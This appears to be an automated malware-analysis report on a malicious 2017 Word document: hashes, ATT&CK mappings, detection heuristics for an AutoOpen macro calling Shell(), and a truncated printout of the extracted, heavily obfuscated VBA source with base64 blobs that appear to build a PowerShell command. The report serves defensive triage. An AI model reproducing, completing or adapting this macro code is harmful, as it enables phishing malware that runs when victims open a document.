Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ed80b3e9fbb90369…

MALICIOUS

Office (OLE)

120.0 KB Created: 2017-10-26 15:26:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: b65a91b4bee58ee6d0392c888f80eecd SHA-1: 35e32b9602a8a9065cb1c1cc609f4b5a51ba7ca5 SHA-256: ed80b3e9fbb903696b483c208700b977cc732178084c821604fd3296fde3ef02
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen function, which is a common technique for executing malicious code upon opening the document. The critical heuristic 'OLE_VBA_SHELL' indicates the use of the Shell() function, suggesting the macro attempts to execute an external command. This is further supported by the ClamAV detection for macro obfuscation. The primary IOC is the VBA macro file itself, which likely contains the obfuscated malicious logic.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 53027 bytes
SHA-256: 6250e55daf3221a97aae06265569dc8b72f0f59019a71d3c54f463140e2d91b3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 104 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

Function JWULdHwmG()
TfrEpmztWiz = "VW4V57P0GEM4XONOTAXG2P0RYADlTPQHIODhnfIkzJhRWaFEfzNqSklTaJXZKfdjGfRatRYMldRZihicMwGWBaoYckHiIjZUfzLrIiLNYAEpSLotiuNMYHijrtwJKuECEztjWmUinswBVzGQvNzNVNvYPizPjBDdwCkURIXraiYjJjKrmhNwuqjqBVQrnEBlpU74MNCR1PMLOS"
bFRuWa = Mid(TfrEpmztWiz, 27, 168)
jVMrv = bFRuWa
zzzKOshcjaG = "V83RUUnMPWcjUrljHMSFtTKhPYupFdPidiwTrsGOomzIwKfJAAYcdLhRBElEcwHmHuFmsRrOFEQH7K94"
womcLaG = Mid(zzzKOshcjaG, 7, 70)
wCEpNdpqmS = womcLaG
LWpUmic = "69DU7KPS70B5LA49II91KL8DEUXFPTV0tjcwAIBPGakzurwuaCELowBowaaCzoaFMutavZiwlBZTlmhGWvrOwUdviozZizSRzfnzzVwBTGamYhCMtTfCwMIsRwsGZJPmjHTGwhJAwqvqtrWAlnjPTQUnXvizdrbJqnDQOwNMCIH"
tzwKzkCln = Mid(LWpUmic, 33, 135)
EtbjwYVRTdH = tzwKzkCln
UKzZOTktXqo = "O2XXM2AZ9HYI323PfHJmHiDIWrqqDrSvmzUXsnazbavhQLffbJfJlbRwlJjrVwTDOUswINMrjKKhjVsKLLOuMIKLfVljHjdfHrTvTiWNwncbQkPQRWfKhYrFKjRnccjzjfZrCwqcpBzYjjvuGVSlDTzizOlmRjlTDiukLXNUfDUjbTYblXjGKwuNiqsoKELGPdUBoKiiHzGAwQHjpJAtCiJFkhCUfZKarOQzwXmaozzMsuORjLwBDRKS7UHMM54M9"
BfVTLimYwMM = Mid(UKzZOTktXqo, 17, 230)
fmRLJkOoao = BfVTLimYwMM
wIPfwpwuij = "8UKUHCONIYIWDK3LLKfFGRRwabsVlcASSmjjDzJXEPlAFnFlpaVFoLOVFwIXkWphqUkdhNJLAHBrjRsmVGfLHviHYLdHrmmhZDKCRA0N4KTNCOZZMWU6MJJ"
GNBimmZ = Mid(wIPfwpwuij, 17, 83)
vKoqzuo = GNBimmZ
KzzJX = "IITZFL45W9bNYGoNTahJkWUtmGTWPrTzORzUvoiRfaoJRMDvBlbkapZYBYDItTmqKizGJTSfwQiKiLcZDXUdQjWZsYTWlWXLnzzmNwmhTwoKKOqqwdFWwJaaHZOkAvtZsTWkLpLGlnKUvMOdicaHRBMiXYfniCjXCORrrGiGSwlLwGfvLkBYVmHrGsMnKXXjGnRjuWmbwTpSQBfREGA39RQY8775Z5VIV62CDIAA4K2VC"
AcVwiNaAcEw = Mid(KzzJX, 11, 198)
TjbjRU = AcVwiNaAcEw
KmGtiQNqdJ = "R8S96FNRXJY0Q5HCLW26EHXXN35AISWCiFtkoFEnESBhSmHClqfKBEFtRiIJWZuavzVjLsJChUpmlKzEHCSabLAiAzTGwvQfXamSQarthdchOSIGiDCUGUwjwrjLYCFmDKPKYjnjLZswjTQhrMXsswYCbCUZtfUiXpdDCziCQVJjczAiawUMfNuHlMiVMOmfFObtqNitiVcXnsacCpzvLIzJvVRpOMqBidJK2MG"
mFVzz = Mid(KmGtiQNqdJ, 31, 196)
TMoAGzzjQj = mFVzz
HdktwR = "IPETOlwnqHnrpPPiUHczoHjFWuTwrfEWdmqocrdBiaFmCpBmGiWfbCzhkwzURCvKCRNCYaGdiaQNCwDjsjqJJZuapIDduJjfiuklbzNfbtAAljfovQblMmBdXP3WZ1YXDAWEFU8J"
pDpHKOkAm = Mid(HdktwR, 3, 119)
nkZVZwjvZ = pDpHKOkAm
End Function
Function lDcEbRJEj()
ioMXNYC = "GWUOL1HLADEANgAgACwAIAAxADEAMgAsACAANQA4ACwAIAA0ADcALAA0ADcALAAgADkANwAsADEAMQAwACAALAAxADAAMAAsACAAMQAwADEAIAAsACAAMQAxADQALAAxADEANgAgACwAMQAxADUALAA0AAJ4I"
JfjTwWzYu = Mid(ioMXNYC, 9, 145)
TOHZiRIW = JfjTwWzYu
FdJJFvPq = "EH9TR7OBM971L5OEYLACwAOQA4ACwAIAAxADAANgAsACAAMQAwADEALAA5ADkAIAAsADEAMQA2ACAALAAgADMAMgJKNEG"
Kawok = Mid(FdJJFvPq, 19, 70)
wUVQNuwLGo = Kawok
EEGbiOcJ = "IQTwAIAA1ADgAIAAsADQANwAgACwANAA3ACAALAAgADkAOAAsADEAMAAxACwAIAAxADAAOAAgACwAOQA3ACwAIAAxADEANwAgACwAIAA0ADYALAAgADkANwAsADEAMQA2ACwANAA3ACwANwA5ACwAIAAxADIAMQAsADEAMgAyACwANwAzACwAMQAwADIAIAAsADgANAAsADQANwAgACwAIAAzADkAIAAsACAANAA2ACwAIC1ZOTW4S19YTDO0R9"
DVmoAWE = Mid(EEGbiOcJ, 4, 235)
JPTqlKd = DVmoAWE
XSvHpHOwYua = "YOHIAAsACAAMQAxADUAIAAsADEAMQA1ACAALAAzADIALAAzADYAIAAsADEAMQAyACwAOQA3ACwAMQAxADYALAAxADAANAAgACwANQA5ACAALAAgADkAOAAsADEAMQA0ACAALAAxADAAMQAgACwAOQA3ACwAIAAxADAANwAsACAANQA5ACwAIAAxADIANQAsACAAOQA5ACAALAAgADkANwAsACAAMQAxADYAIAAsACAAOQA5ACwAIAAxADAANAAsACAAMQAyADMALAQSDFKVOU7C3EPYK3Q8T23J3WGKT89DWHDP"
AaGKi = Mid(XSvHpHOwYua, 4, 266)
uIrPjjwrV = AaGKi
SWUwkYa = "210JHX9G4I39AOQAgACwAIAAzADYALAAxADEANwAsACAAMQAxADQAIAAsACAAMQAwADgALAAxADEANQAgACwAMwAyACAALAA2ADEAIAAsACAAMwAyACwAIAAzADkAIAAsADEAMAA0ACAALAAxADEANgAsACAAMQAxADYALAAxADEAMgAsADUAOAAsACAANAA3ACAALAAgADQANwAsADkAOAAgACwAMQAwADcAIAAsACAAOQA3ACwAMQAwADgAIAAsACAAMQAwADUALAAgADEAMQA1ACwAOQA5AFGIKI"
IlLLw = Mid(SWUwkYa, 13, 278)
BHOrBFMNCT = IlLLw
fFcVAYi = "QQAoACAAJABFAG4AdgA6AGMAbwBNAHMAcABlAEMAWwA0ACwAMgA2ACwAMgA1AF0ALQBKAG8ASQBuACcAJwApAA==4V3DR9J9XS5HQ2V"
fYGFUBjij = Mid(fFcVAYi, 3, 86)
vlhJrai = fYGFUBjij
RzXRdoRHkSl = "LEYORNVJQWCEANgAgACwAMQAwADEALAAxADAAOQAsACAAMQAxADIAIAAsADMAMgAgABX1U
... (truncated)

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